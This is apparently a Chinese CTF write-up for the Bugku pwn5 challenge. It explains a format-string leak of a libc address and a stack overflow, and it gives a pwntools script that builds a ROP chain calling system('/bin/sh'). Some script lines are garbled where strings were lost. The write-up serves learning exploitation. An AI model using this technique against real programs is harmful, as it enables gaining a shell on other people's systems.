前言 2019年12月15日更新
学完ROP之后,重新做一下题目。bugku 5道 pwn 挺适合在学完 ROP 之后用来练习的。
网上对 pwn5 的 wp 视乎好像不是太详细,就做一篇比较详细解释的。
或者说是基于橘小白 wp的补充 XD
审计 看一下保护,只开了NX。
没有危险函数,如system、getshell等
main 函数中存在两个漏洞。首先是第10行的 printf 存在格式化字符串漏洞 ;其次是17行的 read 存在栈溢出 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main (int argc, const char **argv, const char **envp) { char s; setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); memset (&s, 0 , 0x20 uLL); puts (&::s); read(0 , &s, 8uLL ); printf (&s, &s); puts (&s); puts (&s); puts (&s); puts (&byte_400978); sleep(1u ); puts (asc_400998); read(0 , &s, 0x40 uLL); if ( !strstr (&s, &needle) || !strstr (&s, &dword_4009BA) ) { puts (&byte_4009C8); exit (0 ); } puts (&byte_4009F8); return 0 ; }
18 行的 if 满足条件是第二次输入值含有数组&needle
和&dword_4009BA
的内容。直接查看变量值(双击变量)是得不到任何字符,因为里面存储的是中文,查看方法应该是选中变量后,打开 ida 的 hex view 窗口,并结合数组存储的十六进制数查看。这里就展示查看 needle:
利用思路 这道题目首先需要用格式化字符串漏洞泄露存储在 rip 中 __libc_main 的地址,然后利用栈溢出覆写 rip 为 system 地址。
泄露libc 要泄露libc,就需要知道 rip 对于指针的偏移位置。而 rip 的偏移可以基于变量 s 的偏移计算出来。那么是需要先找变量 s 的偏移。怎么找,就不再造轮子了,现成轮子 。
给出查找脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.log_level = & n = 1 while 1 : p = process("./human") p.recvuntil("?\n") p.sendline("aaaa%{}$p".format (n)) recv = p.recvuntil("?\n") print recv if & break else : n += 1
得出 s 偏移为 6。s 与 rbp 的距离是 0x20,那么 rip 的偏移为 11。
泄露出返回地址后,就需要基于这个地址计算出 system 的地址和 /bin/sh地址。由于题目没有给出 libc.so 文件,那么我们查询程序调用的libc,并复制到目录下。
1 2 3 4 5 >$ ldd human linux-vdso.so.1 => (0x00007ffff7ffa000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a0d000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000) >$ cp /lib/x86_64-linux-gnu/libc.so.6 libc.so
还要注意一点的是,泄露出来的是__libc_start_main+240
,所以计算地址时,需要减去240。
栈溢出 程序是64位,也就是寄存器传参。我们就利用 ROPgadget 查一下 libc.so 文件中 pop_rdi_ret 的地址。
1 ROPgadget --binary libc.so --only "pop|ret"
构造的 payload 需要含有 鸽子
、真香
,填充长度为 0x28。然后依次 gadget、binsh、system。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level = & & n = 1 while 1 : p = process("./human") p.recvuntil("?\n") p.sendline("aaaa%{}$p".format (n)) recv = p.recvuntil("?\n") print recv if & break else : n += 1 & p = process("./human") elf = ELF("./human") libc = ELF("./libc.so") pop_rdi = 0x400933 gezi = "鸽子" zhenxiang = "真香" print p.recvuntil("?\n") p.send("%11 $p") main_addr = eval (p.recvuntil("%11 $p",True ))-240 log.info("main_addr = "+hex (main_addr)) libc_addr = main_addr - libc.symbols[& log.info("main_addr = "+hex (libc_addr)) system_addr = libc_addr + libc.symbols[& log.info("system_addr = "+hex (system_addr)) binsh_addr = libc_addr + libc.search("/bin /sh").next () log.info("binsh_addr = "+hex (binsh_addr)) print p.recvuntil("还有什么本质?") payload = (gezi+zhenxiang).ljust(0x20 +8 ,"A") payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) p.sendline(payload) p.interactive()
参考 BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】
蒸米32位及64位ROP笔记
格式化字符串漏洞学习